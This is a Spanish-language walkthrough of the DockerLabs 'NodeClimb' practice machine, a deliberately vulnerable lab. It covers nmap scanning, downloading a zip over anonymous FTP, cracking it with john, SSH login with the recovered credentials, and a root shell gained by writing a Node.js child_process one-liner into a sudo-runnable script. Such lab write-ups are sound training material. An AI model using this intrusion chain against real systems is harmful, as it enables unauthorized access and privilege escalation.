Post

NodeClimb

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

NodeClimb

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/nodeclimb:-$ ping -c 1 172.17.0.3
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.049 ms

--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.049/0.049/0.049/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/nodeclimb:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 ()	Status: Up
Host: 172.17.0.3 ()	Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///	Ignored State: closed (65533)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/home/kali/Documents/dockerlabs/nodeclimb:-$ nmap -sCV -vvv -p21,22 172.17.0.3 -oN nmap2
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 cd1f3b2dc40b9903e6a35c26f54b47ae (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIIJXdsH3BqdecsOrKH3q6AQI9zJxHexsJHT+Kam8R4WWmg8g0o7s75qwSx6YvfhFptiXDYcMT6hq7VNs4YnuUg=
|   256 a0d492f69bdb122b77b6b158e07056f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIEGiHc4ywr2G/gO3ihoB+r77LxHnCWOkdfc3n0BiZLQ
MAC Address: E2:9E:09:5F:D0:E6 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Misconfiguration Exploitation

Desde el contenedor puedo conectarme al servicio FTP alojado en el puerto por defecto. Ingreso utilizando el usuario Anonymous, sin proporcionar ninguna contraseña.

Dentro del directorio principal encuentro el archivo secretitopicaron.zip, el cual descargo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/dockerlabs/nodeclimb:-$ ftp Anonymous@172.17.0.3 
Connected to 172.17.0.3.
Password: 
230 Login successful.

ftp> ls
-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
226 Directory send OK.

ftp> get secretitopicaron.zip
226 Transfer complete.

ftp> quit
221 Goodbye.

Al intentar descomprimir el contenido, el archivo zip solicita una contraseña.

1
2
3
/home/kali/Documents/dockerlabs/nodeclimb:-$ unzip secretitopicaron.zip
Archive:  secretitopicaron.zip
[secretitopicaron.zip] password.txt password:

Para resolver esto, genero un hash con zip2john y utilizo john para obtener la clave en texto plano. El valor revelado es password1.

1
2
3
4
/home/kali/Documents/dockerlabs/nodeclimb:-$ zip2john secretitopicaron.zip > secretitopicaron.txt

/home/kali/Documents/dockerlabs/nodeclimb:-$ john secretitopicaron.txt
password1        (secretitopicaron.zip/password.txt)

Utilizando esa contraseña, accedo finalmente al contenido del zip, que contiene el archivo password.txt. Dentro del archivo encuentro las credenciales mario:laKontraseñAmasmalotaHdelbarrioH.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/nodeclimb:-$ unzip secretitopicaron.zip
Archive:  secretitopicaron.zip
[secretitopicaron.zip] password.txt password: password1
 extracting: password.txt

/home/kali/Documents/dockerlabs/nodeclimb:-$ cat password.txt
mario:laKontraseñAmasmalotaHdelbarrioH

Luego establezco conexión SSH con el usuario mario usando la contraseña obtenida. El acceso es exitoso, y consigo un shell como usuario local dentro del contenedor.

1
2
3
4
5
/home/kali/Documents/dockerlabs/nodeclimb:-$ ssh mario@172.17.0.3
mario@172.17.0.3's password: laKontraseñAmasmalotaHdelbarrioH

mario@8f2026c76143:~$ id
uid=1000(mario) gid=1000(mario) groups=1000(mario),100(users)

Privilege Escalation

1
2
3
mario@8f2026c76143:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
mario:x:1000:1000:mario,,,:/home/mario:/bin/bash

Inspecciono los permisos disponibles mediante sudo, donde identifico que puede ejecutar el binario /usr/bin/node sobre el archivo /home/mario/script.js con privilegios de root y sin necesidad de contraseña.

1
2
3
4
5
6
mario@8f2026c76143:~$ sudo -l
Matching Defaults entries for mario on 8f2026c76143:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 8f2026c76143:
    (ALL) NOPASSWD: /usr/bin/node /home/mario/script.js

El archivo script.js es editable por el usuario actual mario, lo que permite introducir código malicioso.

1
2
mario@8f2026c76143:~$ ls -alh script.js 
-rw-r--r-- 1 mario mario 0 Jul  5  2024 script.js

Para aprovechar esta configuración, sobrescribo el contenido con una línea en JavaScript que lanza una shell con privilegios elevados.

1
mario@8f2026c76143:~$ echo 'require("child_process").spawn("/bin/bash", ["-p"], {stdio: "inherit"})' > script.js

Al ejecutar el script con sudo, se invoca Node.js como root, lo que devuelve una shell privilegiada directamente.

1
2
3
4
mario@8f2026c76143:~$ sudo /usr/bin/node /home/mario/script.js

root@8f2026c76143:/home/mario# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.